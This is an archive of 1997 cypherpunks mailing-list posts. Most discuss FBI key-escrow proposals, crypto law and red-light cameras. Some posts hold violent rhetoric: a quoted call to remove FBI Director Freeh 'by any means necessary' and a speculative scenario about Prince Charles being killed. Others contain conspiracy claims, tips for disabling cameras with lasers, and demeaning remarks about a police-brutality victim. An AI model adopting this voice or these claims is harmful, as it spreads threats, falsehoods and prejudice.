-----BEGIN PGP SIGNED MESSAGE-----

Declan McCullagh wrote:
> All encryption products sold or distributed in the U.S.
> must have a key escrow backdoor "like an airbag in a car,"
> law enforcement agents advised a Senate panel this
> afternoon.

Encryption is an airbag for accidents of government.

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.html
"I AM a number!  I am a free man!"


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bureau42 Anonymous Remailer <remailer@bureau42.ml.org>
Date: Thu, 4 Sep 1997 23:32:30 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Di Privacy, Die / Was: Death of Privacy
Message-ID: <qQnDLZW+qoQOU2K50/ZMRw==@bureau42.ml.org>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

TruthMonger wrote:
>   Notice that the press reports that the two little princes want to 
> walk behind the casket. Is it a 'coincidence' that the two innocent
> victims who are now under the thumb of the monarchist spin-doctors
> are going to be front and center in the coverup of their mother's 
> murder? 
>   Why are the thousands of death threats against Prince Charles if he
> tries to use the funeral to redeem his image *not* news?

It seems likely that Something Is Afoot.  Let's not assume that it is
centered on preserving Charles Windsor's shot at the throne.

Most likely those Shadowy People who preserve social order have been
concerned about the stability of the Monarchy and are now taking steps
to preserve it.

A commonly perceived problem with monarchy is the strict rules of
inheritance.  From time to time a person totally unsuited to the job
pops up.  Not all societies in all of history have found this problem
insurmountable.  (Examples: The Man in the Iron Mask, or the peculiar
deaths of Queen Hatshepsut's older brothers, or the death of Peter the
Great's only son, etc.)

Diana, obviously, was unsuited to the job and did not seem to
understand it.  R.I.P.

Diana, for all the trouble she caused, did manage to arouse interest
in the Monarchy.  Her death has caused millions of people in Britain
and elsewhere to become deeply emotionally involved with the Monarchy.
This emotional capital is far better than the lassitude which preceded
her.  While many perceptions of the Royal Family are not positive,
this can be easily transformed into adulation of the Monarchy using
the vehicle of Diana's sons.

Charles is no prize.  He's managed to muff an easy job.  It is
possible that the Monarchy would not survive his accession to the
throne.

Look for the death of Charles, probably before the Queen dies.  An
accident would do it, but a "suicide" would add some spice, arouse
sympathy, and be less suspicious.  (Two fatal accidents would be
extremely unlikely, whereas the odds of a suicide under these
circumstances cannot be calculated.)  A "lone nut" with a gun would
also do the trick, although it's getting old.

This would pave the way for a smooth handoff of power from the well
regarded Queen to one of Diana's well regarded sons.  Order will have
been restored.

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.html
"I AM a number!  I am a free man!"

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: God <god@dev.null>
Date: Fri, 5 Sep 1997 05:54:44 +0800
To: declan@well.com
Subject: Re: Stupid Senate Tricks -- request for help
In-Reply-To: <Pine.GSO.3.95.970904163018.22887D-100000@cp.pathfinder.com>
Message-ID: <340F2947.44C6@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



Declan McCullagh wrote:
> 
> After yesterday's crypto-hearing, I decided I should write a story about
> Stupid Senate Tricks -- how your elected representatives misspeak,
> misstate, and misstep when it comes to technology. From the "What is PGP"
> question at a recent hearing to Feinstein's meaningless blather yesterday,
> this is fertile ground.
> 
> Do you have any favorite quotes? Not just crypto, but CDA, copyright, and
> technology in general. Send 'em to declan@well.com.

  What about FineSwine announcing that she is turning her vote over to
the NSAzi's and the FBInquisitioners?

  What about Clinton announcing that he is in favor of a self-governing
InterNet with government spies everywhere?

  What about politicians still calling America a "democracy."  Ha, ha,
pretty funny. 

GodMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Bert-Jaap Koops" <E.J.Koops@kub.nl>
Date: Thu, 4 Sep 1997 22:10:48 +0800
To: cryptography@c2.net
Subject: Crypto Law Survey updated
Message-ID: <698B8E62567@frw3.kub.nl>
MIME-Version: 1.0
Content-Type: text/plain



I have just updated my survey of existing and envisaged cryptography
laws and regulations. See the Crypto Law Survey at
http://cwis.kub.nl/~frw/people/koops/lawsurvy.htm

This update includes:
-update on Australia (Walsh recommendations), Denmark (report by Expert
Committee), France (decree deemed imminent), Sweden (Inspection for strategic 
goods), US (Bernstein decision, Junger amended complaint) 
-change on Singapore (unclear availability domestic crypto) 
-URL added to Sweden (export law)
-FAQ added 
-lay-out restyled 

Besides, I have added to my homepage pages on my research 
(crypto & crime) and on key recovery and PKIs. I've also added a 
collection of links on these areas. See:
http://cwis.kub.nl/~frw/people/koops/research.htm

Comments are as always welcomed.

Kind regards,
Bert-Jaap

---------------------------------------------------------------------
Bert-Jaap Koops                         tel     +31 13 466 8101
Center for Law, Administration and      facs    +31 13 466 8149
Informatization, Tilburg University     e-mail  E.J.Koops@kub.nl
                  --------------------------------------------------
Postbus 90153    |  This world's just mad enough to have been made  |
5000 LE Tilburg  |    by the Being his beings into being prayed.    |
The Netherlands  |                (Howard Nemerov)                  |
---------------------------------------------------------------------
         http://cwis.kub.nl/~frw/people/koops/bertjaap.htm
---------------------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Fabrice Planchon <fabrice@math.Princeton.EDU>
Date: Fri, 5 Sep 1997 03:57:41 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Big Brother is watching
In-Reply-To: <2bb492db8556543171a4af60b2cea4ed@anon.efga.org>
Message-ID: <19970904154807.23567@math.princeton.edu>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, Sep 04, 1997 at 10:01:20AM -0700, Tim May wrote:
> (We have the cameras in our area, too. In Campbell, CA, for example. My
> recollection from news stories is that the camera also snaps a photo of the
> driver, allowing reasonably positive ID. If the photo is blurred or not
> usable in court, the traffic charge is dropped (probably only if
> challenged, though). Some interesting constitutional issues, it seems to
> me. Namely, if Alice is driving Bob's car and is ticketed, should Bob face
> the points on his license? Or even criminal charges? Seems to violate our
> notions of scienter.)

Photo radars are common in France, too. I was told by a cop friend that
no more than 20% of the photos are useable (that is, show clearly the
license plate for purpose of identification). And the law was modified a
couple of years ago, to answer the question you ask. If somebody is
driving your car, and you don't give his name, then you face the charges
(pay the ticket, and get the points...). The funny thing is, when they
started using photo radars, they were sending the photo with the
summons. Which, of course can be a problem, as if your wife opens it and
find the photo with you and and your mistress. This actually happened,
and the court ruled it was a violation of privacy. Now you have to go to
the police to see the photo. Needless to say, anything you would use to
cover your plates is outlawed...

                           F.

-- 
Fabrice Planchon                                          (ph) 609/258-6495
Applied Math Program, 210 Fine Hall                      (fax) 609/258-1735







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 5 Sep 1997 07:36:15 +0800
To: cypherpunks@toad.com
Subject: Re: Plunger Pervert Returns to Work
In-Reply-To: <19970904175553.11355.qmail@zipcon.net>
Message-ID: <cDwice1w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Mike Duvos <enoch@zipcon.net> writes:

> 
> Officer Volpe is back on the job, on modified duty minus his badge and
> gun.  Apparently the union contract prohibits suspensions over 30 days in
> length. 
> 
> Gee - you'd think someone like that would be in jail on multimillion
> dollar bail as a "suspected sex offender."  If he is convicted, will laws
> require him to register for life and notify his neighbors when he moves in
> next door to them? 
> 
> I certainly wouldn't want this sadistic pervert with his fixation on
> minority anuses living next door to me.  If he weren't a cop, they
> probably would have searched his house immediately looking for evidence of
> other crimes.  I'll bet Officer Volpe has a really unusual porn and dildo
> collection.

This Volpe guy has been convicted in the media already.

I don't know about Prof. Duvos, but I'm not psychic, haven't been there,
and haven't seen anything.  We have a collection of highly contradictory
statements from the same folks whose official party line is that OJ didn't
butcher two people and that Tawana Brawley (remember her?) was raped by
white cops. I haven't seen any evidence that would contradict the defense's
claim that the victim was sodomized with the plunger in the night club before
he was taken into custody by the police.

By the way, have you seen the alleged daughter whom the victim hasn't been
in touch with since her birth?  Now that her mother got the whiff of tens of
millions of dollars in settlement, she's very interested in her alleged father.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 5 Sep 1997 07:36:12 +0800
To: cypherpunks@toad.com
Subject: Re: Big Brother is watching
In-Reply-To: <Pine.SUN.3.96.970904145949.4176B-100000@beast.brainlink.com>
Message-ID: <JLwice2w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Ray Arachelian <sunder@brainlink.com> writes:

> On Thu, 4 Sep 1997, Anonymous wrote:
> 
> > 2) When you find one of these unattended critters along the road, wave
> > your hand in front of it at amazing speeds until it runs out of film.
> > (Ensure middle finger is extended.)
> 
> Depends on the kind of camera.  If it's a video camera, you might be able
> to blind the bitch by blasting loads of IR at it which would be
> invisible to any donut munchers watching you....   Anyone know a source
> for big IR lamps?
> 
> Any way to defeat film bearing cameras?

A little laser aimed at the right place at the right time?

(My late grandfather lost an eye in a laser accident)

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Will Rodger <rodger@worldnet.att.net>
Date: Fri, 5 Sep 1997 04:33:21 +0800
To: cypherpunks@toad.com
Subject: More metaphors: Key Recovery like "painting the windshield black?"
Message-ID: <3.0.3.32.19970904161226.006978cc@postoffice.worldnet.att.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Marc Rotenberg had a compelling simile to counter Director Freeh's 
"airbag" statement on mandatory key recovery yesterday. Though some 
outlets saw the FBI position as a radical departure, this writer saw 
only more emphasis on themes from previous statements. This is from 
my story this AM.

- From :
http://www4.zdnet.com/zdnn/content/inwo/0904/inwo0003.html


"But Marc Rotenberg, director of the Electronic Privacy Center, said 
the statement wasn't surprising. Indeed, documents obtained under the 
Freedom of Information Act and posted on the group's Web site for the 
past two years show that various parties within the White House have 
long favored mandatory controls. 'This is such old news that we had 
this on our Christmas cards two years ago,' Rotenberg said. 'We've 
known all along this was their goal. Louis Freeh says mandatory key 
escrow is like airbags? It's more like painting the windshield black. 
Happy driving, crypto users.'"

Denning had much to say against immediate imposition of mandatory 
controls, as well.
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Charset: noconv

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-----END PGP SIGNATURE-----

Will Rodger                                           Voice: +1 202-408-7027 
Washington Bureau Chief                        Fax: +1 202-789-2036
Inter@ctive Week                    http://www.interactiveweek.com
A Ziff-Davis Publication            
   PGP 2.6.2: D83D 0095 299C 2505 25FA 93FE DDF6 9B5F






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 5 Sep 1997 07:28:02 +0800
To: cypherpunks@toad.com
Subject: Re: Big Brother is watching
In-Reply-To: <19970904154807.23567@math.princeton.edu>
Message-ID: <sRwice4w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Fabrice Planchon <fabrice@math.Princeton.EDU> writes:

> 
> On Thu, Sep 04, 1997 at 10:01:20AM -0700, Tim May wrote:
> > (We have the cameras in our area, too. In Campbell, CA, for example. My
> > recollection from news stories is that the camera also snaps a photo of the
> > driver, allowing reasonably positive ID. If the photo is blurred or not
> > usable in court, the traffic charge is dropped (probably only if
> > challenged, though). Some interesting constitutional issues, it seems to
> > me. Namely, if Alice is driving Bob's car and is ticketed, should Bob face
> > the points on his license? Or even criminal charges? Seems to violate our
> > notions of scienter.)
> 
> Photo radars are common in France, too. I was told by a cop friend that
> no more than 20% of the photos are useable (that is, show clearly the
> license plate for purpose of identification). And the law was modified a
> couple of years ago, to answer the question you ask. If somebody is
> driving your car, and you don't give his name, then you face the charges
> (pay the ticket, and get the points...). The funny thing is, when they
> started using photo radars, they were sending the photo with the
> summons. Which, of course can be a problem, as if your wife opens it and
> find the photo with you and and your mistress. This actually happened,
> and the court ruled it was a violation of privacy. Now you have to go to
> the police to see the photo. Needless to say, anything you would use to
> cover your plates is outlawed...


I believe in New York State the car owner is liable for the fine, but no
one gets points off the licence based on the photo.

In some jurisdictions one can get a ticket for having too much mud or dust
on the licence tag, making it hard to read.

P.S. Also in NYS cars have a paper sticker on the inside of the windshield
listing among other things the recent mileage, the year, and the licence #.
Tim's idea of using another car's tags won't work here.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Fri, 5 Sep 1997 04:50:54 +0800
To: cypherpunks@toad.com
Subject: Stupid Senate Tricks -- request for help
Message-ID: <Pine.GSO.3.95.970904163018.22887D-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain



After yesterday's crypto-hearing, I decided I should write a story about
Stupid Senate Tricks -- how your elected representatives misspeak,
misstate, and misstep when it comes to technology. From the "What is PGP" 
question at a recent hearing to Feinstein's meaningless blather yesterday,
this is fertile ground. 

Do you have any favorite quotes? Not just crypto, but CDA, copyright, and
technology in general. Send 'em to declan@well.com.

thanks,

Declan






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alex Rice <alrice@swcp.com>
Date: Fri, 5 Sep 1997 07:08:59 +0800
To: cypherpunks@toad.com
Subject: Re: U.S. Prison Labor
In-Reply-To: <MWLsR5VCMrOivCN6TCQCTw==@bureau42.ml.org>
Message-ID: <199709042249.QAA10332@tora.swcp.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

bureau42> Does anyone have pointers to information/details about U.S. prison
bureau42> inmates being used as slave labour for international corporations?
bureau42> Thanx

You might want to visit http://www.pinkertons.com/ and hit "Security
Consulting Systems".

- -- 
Alex Rice 
'finger -l alrice@swcp.com' for PGP public key
- ---
"Once men turned their thinking over to machines in the hope that this would
set them free. But that only permitted other men with machines to enslave
them." --Dune.
-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: Processed by Mailcrypt 3.4, an Emacs/PGP interface

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mc8MO3yquids25uCniRApeUUxMZEn08l7jTuMdIcbitVetsZuMlOO6CCre05RUvw
WLeKiri+IkQV7mty/+219qYOLadsi6PVyPIzK2pAUEFztt+WxPJdEdRuGouEScOY
XpbemxyaYRY=
=1UDk
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 5 Sep 1997 08:22:27 +0800
To: cypherpunks@toad.com
Subject: Administration backs away from FBI on crypto, by A.Pressman (fwd)
Message-ID: <Pine.GSO.3.95.970904170615.22903F-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------
Date: Thu, 4 Sep 1997 17:06:08 -0700 (PDT)
From: Declan McCullagh <declan@well.com>
To: fight-censorship-announce@vorlon.mit.edu
Subject: Administration backs away from FBI on crypto, by A.Pressman



---------- Forwarded message ----------
Date: Thu, 04 Sep 1997 16:55:06 -0400
From: Aaron Pressman <aaron.pressman@reuters.com>
To: declan@well.com
Subject: crytpo etc

Clinton administration back away from FBI on encryption
    By Aaron Pressman
   WASHINGTON, Sept 4 (Reuter) - The Clinton administration's top official
on encryption policy on Thursday backed away from a proposal by the head of
 the FBI to regulate for the first time computer coding products in the
United States.
   "What he proposed was not the administration's policy," Commerce
Undersecretary William Reinsch told reporters during a break at a
congressional hearing.
   FBI Director Louis Freeh's comments Wednesday before a subcommittee of
the Senate Judiciary Committee sparked strong criticism from civil
liberties groups and the software industry.
   U.S. law strictly regulates the export of encryption products, which can
 be used to scramble information and render it unreadable without a
password or software "key." But on Wednesday, Freeh proposed mandatory
controls on currently unregulated coding products intended solely for
domestic use.
   "The administration has been very clear to the director that he has an
obligation to tell the Congress what's in the interests of law enforcement,
 and he did that," Reinsch explained. "That doesn't mean he was speaking
for everybody."
   Freeh said makers of encryption products should include features that
would allow the government to crack any message.
   Without such capabilities, criminals, terrorists and pedophiles could
use encryption to hide their communications from law enforcement agencies,
Freeh said.
   But software companies maintain that Freeh's plan would make their
products less attractive and make all electronic messages less secure.
Civil liberties groups said mandatory controls on domestic encryption might
 violate constitutional guarantees of free speech and privacy.
   Under the FBI director's proposal, all encryption products would have a
feature allowing government access to coded messages, but users could
disable or avoid using the feature.
   Some senators wanted to go further. Sen. Dianne Feinstein, a California
Democrat, proposed requiring all users of encryption to enable the
back-door access feature. Freeh said such a law would be the best solution
for law enforcement but added that he did not think it was politically
viable.
   Reinsch said Freeh's proposal was also unlikely to pass.
   "If the committee were to report that (bill out), I think that would be
something we would look at very seriously," he said. "But I don't expect
that to happen. We have not asked them to report that and we are not going
to ask them to report that."

Thursday, 4 September 1997 16:13:38
RTRS [nN04290412]


------------------------------------------------------------------------
Any views expressed in this message are those of the individual  sender,
except  where  the  sender  specifically  states them to be the views of
Reuters Ltd.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike Duvos <enoch@zipcon.net>
Date: Fri, 5 Sep 1997 08:35:24 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Plunger Pervert Returns to Work
In-Reply-To: <cDwice1w165w@bwalk.dm.com>
Message-ID: <19970905002220.13272.qmail@zipcon.net>
MIME-Version: 1.0
Content-Type: text/plain



Dr. Vulis writes:

 > I haven't seen any evidence that would contradict the defense's claim
 > that the victim was sodomized with the plunger in the night club before
 > he was taken into custody by the police. 

Ah.  So he fought like a tiger against police who were beating him
with their radios with a broken jaw, ruptured bladder, and perforated
colon suffered hours earlier during a kinky gay sex act.

I've never seen a case of alleged police brutality the police didn't 
try to lie their way out of.  Perhaps this will be the first.

 > By the way, have you seen the alleged daughter whom the victim hasn't
 > been in touch with since her birth?  Now that her mother got the whiff
 > of tens of millions of dollars in settlement, she's very interested in
 > her alleged father.

Maybe she can hire Bill Cosby's lawyer. 

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     enoch@zipcon.com   $    via Finger                       $
         {Free Cypherpunk Political Prisoner Jim Bell}





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Fri, 5 Sep 1997 08:58:11 +0800
To: cypherpunks@cyberpass.net
Subject: Brute-force cracks, discovery, etc.
Message-ID: <3.0.3.32.19970904175307.007c6ea0@mail.io.com>
MIME-Version: 1.0
Content-Type: text/plain




HotWired's "Hot Seat" interviewed two private investigators who consult
doing hostile data recovery. Their comments are interesting, both in terms
of illustrating what can (and can't) be recovered, and in terms of the
scope of civil discovery which has become standard in civil disputes. A
transcript is at
<http://www.hotwired.com/synapse/hotseat/97/35/transcript2a.html>. 


--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.org>
Date: Fri, 5 Sep 1997 02:50:03 +0800
To: Tim May <cypherpunks@cyberpass.net>
Subject: Re: Freeh is Marked for Deletion
In-Reply-To: <v03102806b0347d239bf3@[207.167.93.63]>
Message-ID: <199709041831.MAA12346@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

on or about 970904:0808 
    Tim May <tcmay@got.net> expostulated:
[snip on Declan...]

+We're in a state of war with these war criminals.

+Freeh must be removed by any means necessary. His calling for mandatory
+(or involuntary) key escrow marks him as unworthy of continued tenure.
+He is marked for deletion.

    Is not the word EXPUNGE what you mean?  
    suits my feelings, just fine.


 "When I die, please cast my ashes upon Bill Gates. 
     For once, let him clean up after me! " 
        --Christian Worley

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

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Ry1M+xJI2WRfq81j2xBs9cxhHfb9fphCbGgFVwDoMI6Vg9zef6prYeAWI/2o3X0i
TRlwMdnOonc=
=qbPm
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ernest Hua <hua@chromatic.com>
Date: Fri, 5 Sep 1997 10:34:13 +0800
To: cypherpunks@toad.com
Subject: FBI calls for mandatory clap escrow; Denning on export controls
Message-ID: <199709050216.TAA16978@ohio.chromatic.com>
MIME-Version: 1.0
Content-Type: text/plain



All clap-on products sold or distributed in the U.S.
must have a clap escrow backdoor "like an airbag in a
car," law enforcement agents advised a Senate panel
this afternoon.

FBI Director Louis Freeh also told a Senate Judiciary
subcommittee that "appliance makers should be required
to have some immediate clap signature ability
available" permitting agents to readily identify
clappers who turned on or turned off appliances.

This marks the most aggressive push to date for
mandatory domestic clap escrow (or "clap recovery"),
which means someone else other than the clapper can
figure out who did the clapping.

Freeh noted that "technology has greatly changed the
balance of power in favor of the criminal element.  We
must right that balance by giving law enforcement the
tools necessary to catch the criminals.  The ability to
remotely enable/disable terrorist devices is a serious
challenge to law enforcement, and the only to stop its
criminal use is to allow law enforcement the ability to
identify the clapper.  Of course, there is already full
due-process procedures to ensure that law enforcement
officers do not violate the privacies of law-obiding
clappers.  But under a court-order warrant, we must be
able to trace the clap to its origin."

Many privacy and civil rights groups have raise
objections against such regulations.  Several court
challenges to existing clap export limits are well
under way, all citing 1st Amendment violations.
Lawyers for the Department of Commerce insists that the
limits have nothing to do with the 1st Amendment, and
that Commerce (and formerly, the Department of State)
has consistently approved all export requests for
printed claps.  "But real clapping is a mechanism, not
an element of speech; it truly enables or disables
devices, including bombs and weaponery.  There are
several industries where we not only allow, but
encourage the use of clap-on technology, but we simply
cannot allow arbitrary export of clap-on devices,
because terrorists could get their hands on it."

Sen. Jon Kyl, chair of the Judiciary subcommittee on
technology, terrorism, and government information,
opened today's hearing not by saying its purpose was to
discuss clapping in a balanced manner, but that he
wanted "to explore how clap-on is affecting the way we
deal with criminals, terrorists, and the security needs
of business." Then he talked at length about "criminals
and terrorists" using clap-on bombs, and child
pornographers "using clap-on to view pornographic
images of children that they transmit across the
Internet."

Dorothy Denning, a Georgetown University professor of
computer science, did testify.  Kyl made a point of
asking her if she still supported clap escrow systems
(two recent articles by Will Rodger and Simson
Garfinkel said she was changing her mind).  "I think
clap recovery offers a very attractive approach,"
Denning said.  What about export controls? "In the
absence of any controls, the problem for law
enforcement would get worse," she replied.

But when Sen. Dianne Feinstein (D-Calif) asked if
Denning would support a *mandatory* clap escrow system,
the computer scientist said she wouldn't.  "No, because
we don't have a lot of experience we clap recovery
systems ... a lot of people are legitimately nervous."

Sen. Feinstein asked Dir. Freeh if such voluntary
systems would give the clapping criminal freedom to
simply turn off the features to support lawful clap
recovery.  Dir. Freeh replied that he was certainly
"warm" to the ideal of mandatory clap escrow, but
public opinion simply did not support it.

Recent FOIA'ed documents obtained by EPIC, a privacy
watchdog group, showed that, as far back as the Reagan
administration, clap-on technology was under the
scrutiny of the law enforcement and intelligence
agencies.  The memos include references to the Digital
Clapphony legislation, which was pushed through two
years ago by heavy last-minute behind-the-scene
lobbying in the congressional budget bill, and to the
proliferation of software clapping technology.

The administration refused to comment on the FOIA'ed
documents.

--------

Another one that couldn't wait until 4/1.  Apologies to
Declan to extremely "liberal" pilfering of his article.

And, of course, to the Clap On! lawyers: This is a
parody and a joke ... in case it was not clear.

Ern





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Vipul Ved Prakash <vipul@pobox.com>
Date: Fri, 5 Sep 1997 17:52:51 +0800
To: aba@dcs.ex.ac.uk
Subject: Don't ask for permission
In-Reply-To: <199709012034.VAA07567@server.test.net>
Message-ID: <199709041956.TAA00441@fountainhead.net>
MIME-Version: 1.0
Content-Type: text



Adam Back wrote:

> Depends on your definition of openly.  Jerome Thorel, at the time a
> French free-lance journalist, interviewed the head of SCSSI, he asked
> "can individuals use PGP?" and the answer was "if you asked us for
> permission we'd say no, but if you use it we won't do anything about
> it".  Jerome had this revelvation as his .sig for a while.

Exactly what happens in India. Dont ask for permission, ask for 
forgiveness. The govt doesn't want to sanction it. This could 
be becuase they might want to declare usage illegal at a latter time, 
or currently dont have the infrastructure to tap into people's 
communication, or the investment in such infrastructure is 
not justified at this time or they realize how entirely stupid 
it would be to legally restrict crypto usage. Whatever such 
a stand implies it manages to keep venture capitalists away from 
crypto products. 

best,
Vipul

-- 

Vipul Ved Prakash                 | - Electronic Security & Crypto 
vipul@pobox.com 	          | - Web Objects 
91 11 2233328                     | - PERL Development 
198 Madhuban IP Extension         | - Linux & Open Systems 
Delhi, INDIA 110 092              | - Networked Virtual Spaces





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike Duvos <enoch@zipcon.net>
Date: Fri, 5 Sep 1997 12:16:09 +0800
To: cypherpunks@cyberpass.net
Subject: Show Me the Warheads!
Message-ID: <19970905040302.504.qmail@zipcon.net>
MIME-Version: 1.0
Content-Type: text/plain



In an interview to be aired on "60 Minutes" this Sunday, Alexandr
Lebed, former Russian National Security Advisor, will reveal that
his country has lost track of more than 100 nuclear bombs made to
look like suitcases, and has no idea what happened to them.

Probably not a good time to visit the Zionist Entity. :)

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     enoch@zipcon.com   $    via Finger                       $
         {Free Cypherpunk Political Prisoner Jim Bell}





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Fri, 5 Sep 1997 12:27:47 +0800
To: Declan McCullagh <cypherpunks@toad.com
Subject: Re: Administration backs away from FBI on crypto, by A.Pressman (fwd)
In-Reply-To: <Pine.GSO.3.95.970904170615.22903F-100000@well.com>
Message-ID: <3.0.2.32.19970904210752.0072b720@netcom10.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 05:06 PM 9/4/97 -0700, Declan McCullagh wrote:
>Clinton administration back away from FBI on encryption
>    By Aaron Pressman
>   WASHINGTON, Sept 4 (Reuter) - The Clinton administration's top official
>on encryption policy on Thursday backed away from a proposal by the head of
> the FBI to regulate for the first time computer coding products in the
>United States.
>   "What he proposed was not the administration's policy," Commerce
>Undersecretary William Reinsch told reporters during a break at a
>congressional hearing.

Of course it isn't. Not yet. This is called playing "good cop, bad cop".


--Lucky Green <shamrock@netcom.com>
  PGP encrypted mail preferred.
  DES is dead! Please join in breaking RC5-56.
  http://rc5.distributed.net/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 5 Sep 1997 10:13:21 +0800
To: cypherpunks@toad.com
Subject: Re: Plunger Pervert Returns to Work
In-Reply-To: <19970905002220.13272.qmail@zipcon.net>
Message-ID: <N3aJce7w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Mike Duvos <enoch@zipcon.net> writes:

> Dr. Vulis writes:
>
>  > I haven't seen any evidence that would contradict the defense's claim
>  > that the victim was sodomized with the plunger in the night club before
>  > he was taken into custody by the police.
>
> Ah.  So he fought like a tiger against police who were beating him
> with their radios with a broken jaw, ruptured bladder, and perforated
> colon suffered hours earlier during a kinky gay sex act.

One of the stories given by the alleged victim was that he wasn't
fighting the cops at all.  Someone else supposedly punched Volpe and
Volpe supposedly mistook Louima for him. Yeah, right, and Tawana
Brawley was raped, and O.J. is innocent.

And he is Haitian and does look gay.  Remember the "4H" originally high
risk groups for AIDS, later hushed up for being politically incorrect?

> I've never seen a case of alleged police brutality the police didn't
> try to lie their way out of.  Perhaps this will be the first.

I believe in "innocent until proven guilty," even if I don't like the
accused's line of work.

>  > By the way, have you seen the alleged daughter whom the victim hasn't
>  > been in touch with since her birth?  Now that her mother got the whiff
>  > of tens of millions of dollars in settlement, she's very interested in
>  > her alleged father.
>
> Maybe she can hire Bill Cosby's lawyer.

I understand that one of the motherfucker shysters who represented O.J.Simpson
in his criminal trial is now representing Louima in a civil suit against NYC.
NYC taxpayers, get ready for an income tax hike. :-)

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Nobuki Nakatuji" <bd1011@hotmail.com>
Date: Fri, 5 Sep 1997 12:42:00 +0800
To: cypherpunks@toad.com
Subject: standardizing encryption
Message-ID: <19970905042902.22589.qmail@hotmail.com>
MIME-Version: 1.0
Content-Type: text/plain



Do you think do to use standardizing encryption?
I think It isn't too very good.

 

______________________________________________________
Get Your Private, Free Email at http://www.hotmail.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Fri, 5 Sep 1997 04:27:25 +0800
To: cypherpunks@toad.com
Subject: Re: Big Brother is watching
Message-ID: <199709042002.WAA29666@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May wrote:
> 
> At 9:03 AM -0700 9/4/97, Anonymous wrote:
> >> Yes, rest assured that Big Brother is watching. Three CopBots have been
> >> deployed around the county to take pictures of vehicles exiting
> >> intersections after the light has turned red. 

> (We have the cameras in our area, too. In Campbell, CA, for example. My
> recollection from news stories is that the camera also snaps a photo of the
> driver, allowing reasonably positive ID. If the photo is blurred or not
> usable in court, the traffic charge is dropped (probably only if
> challenged, though). Some interesting constitutional issues, it seems to
> me. Namely, if Alice is driving Bob's car and is ticketed, should Bob face
> the points on his license? Or even criminal charges? Seems to violate our
> notions of scienter.)

  Their is a pair of on-off ramps in the Bay area where they have the
